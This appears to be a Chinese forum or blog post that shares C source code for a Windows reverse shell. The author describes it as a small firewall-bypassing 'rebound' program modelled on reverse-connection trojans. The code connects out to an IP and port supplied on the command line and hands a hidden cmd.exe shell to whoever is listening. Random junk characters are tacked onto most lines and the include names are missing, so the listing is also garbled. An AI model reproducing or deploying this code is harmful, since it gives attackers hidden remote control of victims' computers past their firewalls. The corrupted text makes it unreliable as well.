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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >m <T+{`  
Vmh$c*TE  
/* ============================== .;ofRx<  
Rebound port in Windows NT DS7L}]  
By wind,2006/7 -m>3@"q  
===============================*/ -Q?c'e  
#include 94t`&jZ&|u  
#include t# y,9>6  
l`:u5\ rM  
#pragma comment(lib,"wsock32.lib") g&EK^q  
P2C>IS  
void OutputShell(); J65:MaS  
SOCKET sClient; kZrc^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #9.%>1{6Y  
Pi9?l>  
void main(int argc,char **argv) wqV"fZA\]  
{  iD])E/  
WSADATA stWsaData; xaoR\H  
int nRet; jrz.n 4Y`  
SOCKADDR_IN stSaiClient,stSaiServer; WQiRbbX  
s3Zt)xQ3  
if(argc != 3) L Yd:S  
{ ^ACrWk~UY  
printf("Useage:\n\rRebound DestIP DestPort\n"); I^u~r.  
return; mT UoFXX[  
} 6vps`k$,~  
*jPd=+d  
WSAStartup(MAKEWORD(2,2),&stWsaData); YX)Rs Vf  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U:3O E97  
PUZcb+%]h  
stSaiClient.sin_family = AF_INET; <-n^h~,4  
stSaiClient.sin_port = htons(0); #-+Q]}fB4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g)TZ/,NQ{  
mf{M-(6'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p[].4_B;  
{ /BQqg0 8@L  
printf("Bind Socket Failed!\n"); *l"CIG'  
return; *x]*%  
} tK/,U =+  
j|&D(]W/  
stSaiServer.sin_family = AF_INET; -@`Ah|m@}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~OR^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Q JPJ.  
FBB<1({A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yFb"2  
{ -LUZ7,!/>o  
printf("Connect Error!"); u7RlxA:  
return; qhcx\eD:?  
} G7v<Q,s  
OutputShell(); S$$SLy:P  
} %,HUn`  
W SxoGly  
void OutputShell() >JsVIfAF  
{ FJCORa@?_  
char szBuff[1024]; V]+y*b.60  
SECURITY_ATTRIBUTES stSecurityAttributes; 9s[   
OSVERSIONINFO stOsversionInfo; "JLE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u%yYLpaKf  
STARTUPINFO stStartupInfo; 9*K-d'm  
char *szShell; bfZt<-  
PROCESS_INFORMATION stProcessInformation; w2XHY>6];  
unsigned long lBytesRead; /!?Tv8TPp  
0#8, (6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h%W,O,K/  
!9KDdU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N wNxO  
stSecurityAttributes.lpSecurityDescriptor = 0; `L7^f!  
stSecurityAttributes.bInheritHandle = TRUE; \zFCph4  
K\;4;6 g  
.xmB8 R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3%GsTq2o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x4wTQ$*1  
JeNX5bXW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E#8|h(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }s@IQay+  
stStartupInfo.wShowWindow = SW_HIDE; 71P. 9Iz  
stStartupInfo.hStdInput = hReadPipe; KA{QGaZ/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wXqwb|2  
^lZ7%6  
GetVersionEx(&stOsversionInfo); XXA'B{@Y)  
>yn]h4M  
switch(stOsversionInfo.dwPlatformId) _RxnB?  
{ O{\<Izm`D  
case 1: j #P4&  
szShell = "command.com"; *!BQ1 ] G  
break; \#w8~+`Gq  
default: u1u;aG  
szShell = "cmd.exe"; !A% vR\  
break; OGJrwl  
} L / WRVc6  
_eBNbO_J  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); piIz ff  
$yj*n;  
send(sClient,szMsg,77,0); <b _K*]Z  
while(1) c1+z(NQ3  
{ Lk#)VGk:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -@#],s7  
if(lBytesRead) u^E0u^  
{ 2h*aWBLk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,98 F  
send(sClient,szBuff,lBytesRead,0); G,Eh8 HboK  
} *)^ ZUk  
else Z> Rshtg  
{ U*sQ5uq  
lBytesRead=recv(sClient,szBuff,1024,0); Lwf[*n d  
if(lBytesRead<=0) break; >Jn`RsuV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZTfW_0   
} upk_;ae  
} $J)`Ru6.  
^*$!9~  
return; w?nSQBz$  
}
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